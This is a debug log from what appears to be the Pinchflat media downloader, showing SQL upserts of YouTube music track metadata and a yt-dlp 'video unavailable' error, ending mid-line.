s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:33.255 [debug] QUERY OK source="media_items" db=0.1ms idle=195.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-02-15 10:24:28Z], 5] 22:20:33.396 [debug] QUERY OK source="media_items" db=140.3ms idle=195.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by TuneCore\n\nBreaking Out · Nine Lashes\n\nBreaking Out\n\n℗ 2018 Nine Lashes Recordings\n\nReleased on: 2018-02-16\n\nAuto-generated by YouTube.", "Breaking Out", "d1445db5-bd17-415f-b8fd-8abbac7ef9a6", false, "f_-Sx1kUri4", 196, false, "https://www.youtube.com/watch?v=f_-Sx1kUri4", 20, "/downloads/ChristianMetal/ChristianMetal/2018-02-15Breaking Out[f_-Sx1kUri4].m4a", false, false, 5, [], 1, ~U[2018-02-15 10:24:28Z], ~U[2026-07-24 02:20:33Z], ~U[2026-07-24 02:20:33Z], "Provided to YouTube by TuneCore\n\nBreaking Out · Nine Lashes\n\nBreaking Out\n\n℗ 2018 Nine Lashes Recordings\n\nReleased on: 2018-02-16\n\nAuto-generated by YouTube.", "Breaking Out", "f_-Sx1kUri4", 196, false, "https://www.youtube.com/watch?v=f_-Sx1kUri4", "/downloads/ChristianMetal/ChristianMetal/2018-02-15Breaking Out[f_-Sx1kUri4].m4a", false, 5, ~U[2018-02-15 10:24:28Z]] 22:20:33.448 [debug] QUERY OK source="sources" db=529.8ms idle=199.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:33.449 [debug] QUERY OK source="sources" db=30.8ms queue=0.1ms idle=163.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:33.449 [debug] QUERY OK source="media_items" db=0.4ms queue=0.2ms idle=193.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-15 17:00:13Z], 2] 22:20:33.449 [debug] QUERY OK source="media_items" db=0.5ms queue=0.2ms idle=52.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-01-25 22:41:43Z], 5] 22:20:33.665 [debug] QUERY OK source="media_items" db=214.7ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎵 STREAM THIS SONG: https://ffm.to/colmleaveherjohnny\n\nThe legendary sea shanty from Assassin's Creed IV: Black Flag, reimagined by Colm R. McGuinness.\n\nOriginally featured in Ubisoft's Assassin's Creed IV: Black Flag, this newly synced version pairs Colm's full studio recording of Leave Her Johnny with beautifully remastered gameplay and cinematics from the game.\n\n✨ YOU CAN SUPPORT ME AT✨ https://ko-fi.com/colmmcguinness\n📢 TIKTOK: https://www.tiktok.com/@colrmcguinness\n📷 INSTAGRAM: https://www.instagram.com/colmrmcguinness\n🎵 SOUNDCLOUD: https://soundcloud.com/crmmusic\n🎶 BANDCAMP: https://colmmcguinness.bandcamp.com/\n\nEMAIL: colmmcguinnesscomposer@outlook.com\nBUSINESS ENQUIRIES: liam@bands.management\nVideo edited by Luke Perrett\n\n#assassinscreed #blackflag #leaveherjohnny #seashanty #colmrmcguinness", "Leave Her Johnny (Sea Shanty) | Assassin's Creed Black Flag Resynced", "ea43f182-6741-4f53-9d34-838b5ec4b864", false, "a1Rns6XzFwk", 199, false, "https://www.youtube.com/watch?v=a1Rns6XzFwk", 16, "/downloads/Classics/Classics/2026-07-15Leave Her Johnny (Sea Shanty) | Assassin's Creed Black Flag Resynced[a1Rns6XzFwk].m4a", false, false, 2, [], 1, ~U[2026-07-15 17:00:13Z], ~U[2026-07-24 02:20:33Z], ~U[2026-07-24 02:20:33Z], "🎵 STREAM THIS SONG: https://ffm.to/colmleaveherjohnny\n\nThe legendary sea shanty from Assassin's Creed IV: Black Flag, reimagined by Colm R. McGuinness.\n\nOriginally featured in Ubisoft's Assassin's Creed IV: Black Flag, this newly synced version pairs Colm's full studio recording of Leave Her Johnny with beautifully remastered gameplay and cinematics from the game.\n\n✨ YOU CAN SUPPORT ME AT✨ https://ko-fi.com/colmmcguinness\n📢 TIKTOK: https://www.tiktok.com/@colrmcguinness\n📷 INSTAGRAM: https://www.instagram.com/colmrmcguinness\n🎵 SOUNDCLOUD: https://soundcloud.com/crmmusic\n🎶 BANDCAMP: https://colmmcguinness.bandcamp.com/\n\nEMAIL: colmmcguinnesscomposer@outlook.com\nBUSINESS ENQUIRIES: liam@bands.management\nVideo edited by Luke Perrett\n\n#assassinscreed #blackflag #leaveherjohnny #seashanty #colmrmcguinness", "Leave Her Johnny (Sea Shanty) | Assassin's Creed Black Flag Resynced", "a1Rns6XzFwk", 199, false, "https://www.youtube.com/watch?v=a1Rns6XzFwk", "/downloads/Classics/Classics/2026-07-15Leave Her Johnny (Sea Shanty) | Assassin's Creed Black Flag Resynced[a1Rns6XzFwk].m4a", false, 2, ~U[2026-07-15 17:00:13Z]] 22:20:33.827 [debug] QUERY OK source="media_items" db=377.1ms idle=1.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nArtificial Light · Demon Hunter\n\nExtremist (Deluxe Edition)\n\n℗ 2014 Solid State Records\n\nReleased on: 2015-10-30\n\nAuto-generated by YouTube.", "Artificial Light", "892ad505-46ad-493c-ac6b-adbede2a1019", false, "YzokiD0V3NE", 269, false, "https://www.youtube.com/watch?v=YzokiD0V3NE", 21, "/downloads/ChristianMetal/ChristianMetal/2017-01-25Artificial Light[YzokiD0V3NE].NA", false, false, 5, [], 5, ~U[2017-01-25 22:41:43Z], ~U[2026-07-24 02:20:33Z], ~U[2026-07-24 02:20:33Z], "Provided to YouTube by The Orchard Enterprises\n\nArtificial Light · Demon Hunter\n\nExtremist (Deluxe Edition)\n\n℗ 2014 Solid State Records\n\nReleased on: 2015-10-30\n\nAuto-generated by YouTube.", "Artificial Light", "YzokiD0V3NE", 269, false, "https://www.youtube.com/watch?v=YzokiD0V3NE", "/downloads/ChristianMetal/ChristianMetal/2017-01-25Artificial Light[YzokiD0V3NE].NA", false, 5, ~U[2017-01-25 22:41:43Z]] 22:20:33.827 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=377.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:33.828 [debug] QUERY OK source="sources" db=0.3ms idle=377.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:33.828 [debug] QUERY OK source="media_items" db=0.2ms idle=377.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-02 15:58:24Z], 2] 22:20:33.828 [debug] QUERY OK source="media_items" db=0.3ms idle=163.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-02-20 10:03:46Z], 5] 22:20:33.973 [debug] QUERY OK source="media_items" db=145.3ms idle=1.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["You and I are looking up at the same moon ♥ \nWriting this song got me through winter this year. Maybe listening to it can help you through yours. Thank you so much for listening and sharing this moment with me.\n\nArt by the amazing Inami_artist on X and Vgen!", "Same Moon", "da120651-b605-4239-addf-1cba8c2a44f9", false, "vx4MiwpfFoA", 225, false, "https://www.youtube.com/watch?v=vx4MiwpfFoA", 17, "/downloads/Classics/Classics/2025-03-02Same Moon[vx4MiwpfFoA].m4a", false, false, 2, [], 1, ~U[2025-03-02 15:58:24Z], ~U[2026-07-24 02:20:33Z], ~U[2026-07-24 02:20:33Z], "You and I are looking up at the same moon ♥ \nWriting this song got me through winter this year. Maybe listening to it can help you through yours. Thank you so much for listening and sharing this moment with me.\n\nArt by the amazing Inami_artist on X and Vgen!", "Same Moon", "vx4MiwpfFoA", 225, false, "https://www.youtube.com/watch?v=vx4MiwpfFoA", "/downloads/Classics/Classics/2025-03-02Same Moon[vx4MiwpfFoA].m4a", false, 2, ~U[2025-03-02 15:58:24Z]] 22:20:34.159 [debug] QUERY OK source="media_items" db=330.5ms idle=0.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by TuneCore\n\nThe Way Back Home · Spoken\n\nThe Way Back Home\n\n℗ 2020 Spoken\n\nReleased on: 2020-02-21\n\nAuto-generated by YouTube.", "The Way Back Home", "48b25bc1-9589-433b-be0e-32fb0e5a548b", false, "c31D0X2ypWQ", 220, false, "https://www.youtube.com/watch?v=c31D0X2ypWQ", 22, "/downloads/ChristianMetal/ChristianMetal/2020-02-20The Way Back Home[c31D0X2ypWQ].m4a", false, false, 5, [], 1, ~U[2020-02-20 10:03:46Z], ~U[2026-07-24 02:20:33Z], ~U[2026-07-24 02:20:33Z], "Provided to YouTube by TuneCore\n\nThe Way Back Home · Spoken\n\nThe Way Back Home\n\n℗ 2020 Spoken\n\nReleased on: 2020-02-21\n\nAuto-generated by YouTube.", "The Way Back Home", "c31D0X2ypWQ", 220, false, "https://www.youtube.com/watch?v=c31D0X2ypWQ", "/downloads/ChristianMetal/ChristianMetal/2020-02-20The Way Back Home[c31D0X2ypWQ].m4a", false, 5, ~U[2020-02-20 10:03:46Z]] 22:20:34.160 [debug] QUERY OK source="sources" db=0.2ms idle=331.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:34.160 [debug] QUERY OK source="media_items" db=0.1ms idle=331.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-06-13 10:00:21Z], 5] 22:20:34.295 [debug] QUERY OK source="sources" db=277.4ms queue=0.1ms idle=189.8ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-07-24 02:20:33Z], ~U[2026-07-24 02:20:33Z], 2] 22:20:34.297 [debug] QUERY OK source="media_items" db=1.3ms idle=136.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 22:20:34.527 [debug] QUERY OK source="media_items" db=196.9ms queue=0.1ms idle=321.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nOcean of Apathy · August Burns Red\n\nConstellations (Remixed)\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-06-14\n\nAuto-generated by YouTube.", "Ocean of Apathy", "99606267-5d73-4ad6-85be-670e4f257e05", false, "fNjKyIoeQ48", 235, false, "https://www.youtube.com/watch?v=fNjKyIoeQ48", 23, "/downloads/ChristianMetal/ChristianMetal/2019-06-13Ocean of Apathy[fNjKyIoeQ48].NA", false, false, 5, [], 3, ~U[2019-06-13 10:00:21Z], ~U[2026-07-24 02:20:34Z], ~U[2026-07-24 02:20:34Z], "Provided to YouTube by The Orchard Enterprises\n\nOcean of Apathy · August Burns Red\n\nConstellations (Remixed)\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-06-14\n\nAuto-generated by YouTube.", "Ocean of Apathy", "fNjKyIoeQ48", 235, false, "https://www.youtube.com/watch?v=fNjKyIoeQ48", "/downloads/ChristianMetal/ChristianMetal/2019-06-13Ocean of Apathy[fNjKyIoeQ48].NA", false, 5, ~U[2019-06-13 10:00:21Z]] 22:20:34.528 [debug] QUERY OK source="media_items" db=229.6ms idle=138.1ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 22:20:34.528 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=230.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:34.528 [debug] QUERY OK source="media_items" db=0.3ms idle=230.0ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 22:20:34.528 [debug] QUERY OK source="media_items" db=0.3ms idle=36.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2014-11-08 17:15:02Z], 5] 22:20:34.665 [debug] QUERY OK source="media_items" db=136.2ms idle=0.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nSlave to Nothing · Fit For A King\n\nSlave to Nothing\n\n℗ 2014 Solid State Records\n℗ 2015 Solid State Records\n\nReleased on: 2014-10-14\n\nAuto-generated by YouTube.", "Slave to Nothing", "14b56ca7-ff49-4377-84ba-efb87f02a63a", false, "vgldRamTEBI", 237, false, "https://www.youtube.com/watch?v=vgldRamTEBI", 24, "/downloads/ChristianMetal/ChristianMetal/2014-11-08Slave to Nothing[vgldRamTEBI].NA", false, false, 5, [], 1, ~U[2014-11-08 17:15:02Z], ~U[2026-07-24 02:20:34Z], ~U[2026-07-24 02:20:34Z], "Provided to YouTube by The Orchard Enterprises\n\nSlave to Nothing · Fit For A King\n\nSlave to Nothing\n\n℗ 2014 Solid State Records\n℗ 2015 Solid State Records\n\nReleased on: 2014-10-14\n\nAuto-generated by YouTube.", "Slave to Nothing", "vgldRamTEBI", 237, false, "https://www.youtube.com/watch?v=vgldRamTEBI", "/downloads/ChristianMetal/ChristianMetal/2014-11-08Slave to Nothing[vgldRamTEBI].NA", false, 5, ~U[2014-11-08 17:15:02Z]] 22:20:34.666 [debug] QUERY OK source="sources" db=0.1ms idle=137.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:34.666 [debug] QUERY OK source="media_items" db=0.1ms idle=137.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-07-28 16:07:48Z], 5] 22:20:34.841 [info] GET /sources/1/media/19/edit 22:20:34.841 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "19", "source_id" => "1"} Pipelines: [:browser] 22:20:34.965 [debug] QUERY OK source="media_items" db=124.3ms queue=0.2ms idle=311.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Universal Music Group\n\nFoundation · For Today\n\nImmortal\n\n℗ 2012 Razor & Tie Recordings.\n\nReleased on: 2012-05-29\n\nProducer, Recording Producer: Will Putney\nComposer Lyricist: For Today\n\nAuto-generated by YouTube.", "Foundation", "3a80755d-d82a-452c-9deb-df86a5f70c8f", false, "FN3M0nGXm7E", 227, false, "https://www.youtube.com/watch?v=FN3M0nGXm7E", 25, "/downloads/ChristianMetal/ChristianMetal/2018-07-28Foundation[FN3M0nGXm7E].m4a", false, false, 5, [], 2, ~U[2018-07-28 16:07:48Z], ~U[2026-07-24 02:20:34Z], ~U[2026-07-24 02:20:34Z], "Provided to YouTube by Universal Music Group\n\nFoundation · For Today\n\nImmortal\n\n℗ 2012 Razor & Tie Recordings.\n\nReleased on: 2012-05-29\n\nProducer, Recording Producer: Will Putney\nComposer Lyricist: For Today\n\nAuto-generated by YouTube.", "Foundation", "FN3M0nGXm7E", 227, false, "https://www.youtube.com/watch?v=FN3M0nGXm7E", "/downloads/ChristianMetal/ChristianMetal/2018-07-28Foundation[FN3M0nGXm7E].m4a", false, 5, ~U[2018-07-28 16:07:48Z]] 22:20:34.965 [debug] QUERY OK source="sources" db=0.2ms idle=299.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:34.970 [debug] QUERY OK source="media_items" db=129.1ms idle=175.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [19] 22:20:35.118 [debug] QUERY OK source="tasks" db=277.8ms queue=0.1ms idle=175.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [203, 2, ~U[2026-07-24 02:20:34Z], ~U[2026-07-24 02:20:34Z]] 22:20:35.150 [debug] QUERY OK source="media_items" db=179.7ms queue=4.5ms idle=125.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-06-06 10:24:08Z], 5] 22:20:35.150 [debug] QUERY OK source="settings" db=179.4ms queue=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:35.150 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=YrZj2_PmNU0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/1b/eb/1bebd3b1a8c80b49c4513ac23c215c152e95ecd96bb98187e52ed31f6369e80f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] YrZj2_PmNU0: Video unavailable. This video is not available 22:20:35.151 [error] yt-dlp download error for media item #201: "ERROR: [youtube] YrZj2_PmNU0: Video unavailable. This video is not available\n" 22:20:35.151 [error] yt-dlp download will not be retried: "ERROR: [youtube] YrZj2_PmNU0: Video unavailable. This video is not available\n" 22:20:35.164 [error] [command_wrapper]: 